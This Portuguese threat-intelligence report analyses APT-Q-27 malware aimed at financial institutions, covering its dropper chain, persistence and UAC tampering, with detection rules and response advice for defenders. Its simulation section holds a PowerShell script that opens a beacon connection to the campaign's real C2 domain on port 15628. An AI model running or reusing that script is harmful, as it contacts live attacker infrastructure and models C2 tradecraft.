Análise de Malware Suspeito Relacionado com APT-Q-27 Alvejando Instituições Financeiras
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
A campanha apresenta uma cadeia de infecção em várias etapas que começa com um link de phishing disfarçado de download de imagem, que na verdade entrega um .pif dropper. O payload inicial é um executável .NET fortemente ofuscado, assinado com um certificado legítimo que foi posteriormente revogado—ajudando a escapar dos controles baseados em reputação no início. Após a execução, ele organiza componentes dentro de um diretório projetado para se assemelhar a um cache de atualização do Windows, e depois transita para execução apenas na memória para reduzir evidências no disco. O resultado final é uma backdoor modular que prioriza a furtividade e evasão, mantendo o acesso através de persistência baseada em serviço enquanto tenta evitar detecções comuns de assinatura.
Investigação
Os analistas da CyStack rastrearam a URL de entrega inicial para infraestrutura hospedada em storage.googleapis.com e recuperaram artefatos organizados—updat.exe, crashreport.dll, e updat.log—de uma pasta oculta semelhante a um cache. O dropper estabelece persistência básica através de um valor de registro Run e, subsequentemente, registra um serviço do Windows chamado Windows Eventn para manter a execução a longo prazo. A backdoor implementa verificações anti-análise, tenta elevação de privilégio e altera configurações relacionadas ao UAC para reduzir prompts do usuário. O tráfego de comando e controle foi observado na porta 15628, e os investigadores extraíram indicadores prontos para detecção incluindo nomes de arquivos, caminhos de registro, identificadores de serviço e cadeias de user-agent distintas.
Mitigação
Aplique controles de download rigorosos para bloquear arquivos .pif e imponha a validação do tipo de conteúdo para que links de “imagem” não entreguem silenciosamente executáveis. Reforce a aplicação de assinatura de código validando o status de revogação e os carimbos de data/hora do certificado durante a execução. Monitore diretórios de cache ocultos semelhantes a “Windows Update” e alerte sobre adições inesperadas de chaves Run ou eventos suspeitos de criação de serviço. Bloqueie as configurações de política do UAC e revise regularmente as alterações nas chaves de política de registro relevantes.
Resposta
Se a atividade for detectada, isole o endpoint imediatamente e colete artefatos forenses (imagem de memória, hives de registro e evidências do sistema de arquivos) antes da remediação. Termine e remova o serviço malicioso Windows Eventn e examine o ambiente em busca dos indicadores recuperados—especialmente arquivos de estágio ocultos, possível uso de mutex e quaisquer vestígios de carregamento lateral de DLL. Redefina credenciais potencialmente expostas, revise atividades de contas privilegiadas em busca de abuso e atualize as detecções nos EDR/SIEM com os IOCs extraídos.
"graph TB %% Seção de Definições de Classe classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef operator fill:#ff9900 %% Definições de Nós action_phishing["<b>Ação</b> – <b>T1566.002 Phishing: Link de Spearphishing</b><br/><b>Descrição</b>: Atacante envia uma URL que parece apontar para uma imagem, mas entrega um arquivo .pif malicioso.<br/><b>Artefato</b>: .pif malicioso entregue como link de imagem"] class action_phishing action action_user_exec["<b>Ação</b> – <b>T1204.002 Execução do Usuário: Arquivo Malicioso</b><br/><b>Descrição</b>: A vítima clica no link e executa o arquivo .pif.<br/><b>Artefato</b>: .pif executado"] class action_user_exec action malware_dropper["<b>Malware</b> – Dropper (assinado)<br/><b>Técnica</b>: T1553.002 Assinatura de Código<br/><b>Descrição</b>: Dropper e DLL acompanhante são assinados com um certificado válido para evadir verificações de reputação"] class malware_dropper malware tool_masq_filetype["<b>Ferramenta</b> – Arquivo .pif Mascarado<br/><b>Técnica</b>: T1036.008 Tipo de Arquivo Mascarado<br/><b>Descrição</b>: .pif renomeado com extensão .jpg para parecer uma imagem"] class tool_masq_filetype tool tool_masq_location["<b>Ferramenta</b> – Pasta de Cache de Atualização Falsa<br/><b>Técnica</b>: T1036.005 Combinar Nome ou Local de Recurso Legítimo<br/><b>Descrição</b>: Payload colocado em uma pasta oculta imitando cache do Windows Update"] class tool_masq_location tool process_proxy["<b>Processo</b> – Binário do sistema assinado<br/><b>Técnica</b>: T1218 Execução de Proxy de Binário de Sistema<br/><b>Descrição</b>: Binários assinados legítimos lançam o dropper sem alarmes"] class process_proxy process malware_obfusc["<b>Malware</b> – Dropper Ofuscado<br/><b>Técnica</b>: T1027.007 Resolução de API Dinâmica<br/><b>Descrição</b>: Usa Base64 em várias camadas e decodificação de strings em tempo de execução para ocultar URLs e comandos"] class malware_obfusc malware tool_hide_dir["<b>Ferramenta</b> – Diretório de Estágio Oculto<br/><b>Técnica</b>: T1564.001 Arquivos e Diretórios Ocultos<br/><b>Descrição</b>: Diretório marcado como Oculto e Não Indexado"] class tool_hide_dir tool action_persistence["<b>Ação</b> – T1547.014 Persistência de Configuração Ativa<br/><b>Descrição</b>: Cria uma chave de registro Run chamada SystemOptimizer para persistência de logon"] class action_persistence action malware_injection["<b>Malware</b> – CrashReport DLL<br/><b>Técnica</b>: T1055.001 Injeção de DLL (carregamento lateral)<br/><b>Descrição</b>: updat.exe carrega crashreport.dll malicioso via carregamento lateral"] class malware_injection malware process_appcert["<b>Processo</b> – Carregamento de DLL AppCert<br/><b>Técnica</b>: T1546.009 DLLs AppCert<br/><b>Descrição</b>: Carregamento de crashreport.dll a partir de caminho organizado aciona código malicioso em um processo legítimo"] class process_appcert process action_uac_bypass["<b>Ação</b> – T1548.002 Ignorar Controle de Conta de Usuário<br/><b>Descrição</b>: Backdoor modifica chaves de registro do UAC e reu2011executa com privilégios elevados"] class action_uac_bypass action action_clear_logs["<b>Ação</b> – T1070.001 Limpar Logs de Eventos do Windows<br/><b>Descrição</b>: Backdoor exclui logs de eventos do Windows para ocultar atividade"] class action_clear_logs action %% Conexões mostrando fluxo action_phishing –>|leva a| action_user_exec action_user_exec –>|executa| malware_dropper malware_dropper –>|usa| tool_masq_filetype malware_dropper –>|usa| tool_masq_location malware_dropper –>|lançado por| process_proxy malware_dropper –>|contém| malware_obfusc malware_obfusc –>|armazena em| tool_hide_dir tool_hide_dir –>|permite| action_persistence action_persistence –>|cria| process_proxy malware_dropper –>|carrega| malware_injection malware_injection –>|injetado em| process_appcert process_appcert –>|aciona| action_uac_bypass action_uac_bypass –>|limpa| action_clear_logs %% Estilo class action_phishing,action_user_exec,action_persistence,action_uac_bypass,action_clear_logs action class malware_dropper,malware_obfusc,malware_injection malware class tool_masq_filetype,tool_masq_location,tool_hide_dir tool class process_proxy,process_appcert process "
Fluxo de Ataque
Detecções
Tentativa de Desativação do Prompt Seguro na Área de Trabalho (via evento de registro)
Visualizar
Pontos Possíveis de Persistência [ASEPs – Hive de Software/NTUSER] (via evento de registro)
Visualizar
Tentativa de Desativação do UAC (via evento de registro)
Visualizar
Extensão Incomum de Binário Executável (via criação de processo)
Visualizar
Desativando o Admin de Consentimento (via evento de registro)
Visualizar
IOCs (SourceIP) para detectar: Análise de Malware Suspeito Ligado ao APT-Q-27 Alvejando Instituições Financeiras Parte 1
Visualizar
IOCs (HashMd5) para detectar: Análise de Malware Suspeito Ligado ao APT-Q-27 Alvejando Instituições Financeiras
Visualizar
IOCs (SourceIP) para detectar: Análise de Malware Suspeito Ligado ao APT-Q-27 Alvejando Instituições Financeiras Parte 2
Visualizar
IOCs (DestinationIP) para detectar: Análise de Malware Suspeito Ligado ao APT-Q-27 Alvejando Instituições Financeiras Parte 1
Visualizar
IOCs (DestinationIP) para detectar: Análise de Malware Suspeito Ligado ao APT-Q-27 Alvejando Instituições Financeiras Parte 2
Visualizar
Execução de Dropper Malicioso via Arquivo .pif e Estágios de Carregamento [Criação de Processo do Windows]
Visualizar
Detectar Comunicação C2 com wk.goldeyeuu.io e Porta 15628 [Conexão de Rede do Windows]
Visualizar
Execução de Simulação
Pré-requisito: O Check de Pré-voo de Telemetria & Baseline deve ter sido aprovado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e narrativas DEVEM refletir diretamente os TTPs identificados e visam gerar exatamente a telemetria esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico incorreto.
-
Narrativa do Ataque & Comandos:
Um atacante que conseguiu uma posição inicial no host Windows deseja estabelecer um túnel C2 encoberto para a infraestrutura do APT‑Q‑27. Usando um back‑door personalizado do PowerShell, o operador resolve o domínio codificado wk.goldeyeuu.io e abre uma conexão TCP na porta 15628. O tráfego é permitido no sentido de saída pelo firewall, e como a conexão usa uma porta não padrão, ela se destaca nos logs do firewall. O atacante então transmite comandos codificados por este canal (T1059) para executar mais payloads.Passo a Passo:
- Resolva o domínio C2 para verificar se o DNS funciona.
- Abra um soquete TCP bruto para o IP resolvido na porta 15628.
- Envie um payload “ping” simples para confirmar a conectividade (simulando um beacon).
-
Script de Teste de Regressão:
# ----------------------------------------------------------------------------------------------------------------- # Simular Comunicação C2 para wk.goldeyeuu.io na porta 15628 # ----------------------------------------------------------------------------------------------------------------- # Resolver o domínio malicioso (esperado retorno de um IP controlado pela Equipe Vermelha) $c2Domain = "wk.goldeyeuu.io" try { $c2IP = [System.Net.Dns]::GetHostAddresses($c2Domain) | Where-Object { $_.AddressFamily -eq [System.Net.Sockets.AddressFamily]::InterNetwork } | Select-Object -First 1 } catch { Write-Error "Falha na resolução DNS para $c2Domain" exit 1 } # Estabelecer uma conexão TCP na porta não padrão 15628 $c2Port = 15628 $client = New-Object System.Net.Sockets.TcpClient try { $client.Connect($c2IP.IPAddressToString, $c2Port) Write-Host "Conectado ao $c2Domain ($($c2IP.IPAddressToString)):`$c2Port" } catch { Write-Error "Falha na conexão com $c2Domain na porta $c2Port" exit 1 } # Enviar um payload de beacon simples (PING em ASCII) e fechar a conexão $stream = $client.GetStream() $payload = [System.Text.Encoding]::ASCII.GetBytes("PING") $stream.Write($payload, 0, $payload.Length) $stream.Flush() Write-Host "Payload de beacon enviado." # Limpeza $stream.Close() $client.Close() # ----------------------------------------------------------------------------------------------------------------- -
Comandos de Limpeza:
# Garantir que quaisquer conexões TCP remanescentes sejam fechadas (medida defensiva para o ambiente de teste) Get-NetTCPConnection -RemotePort 15628 -State Established | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }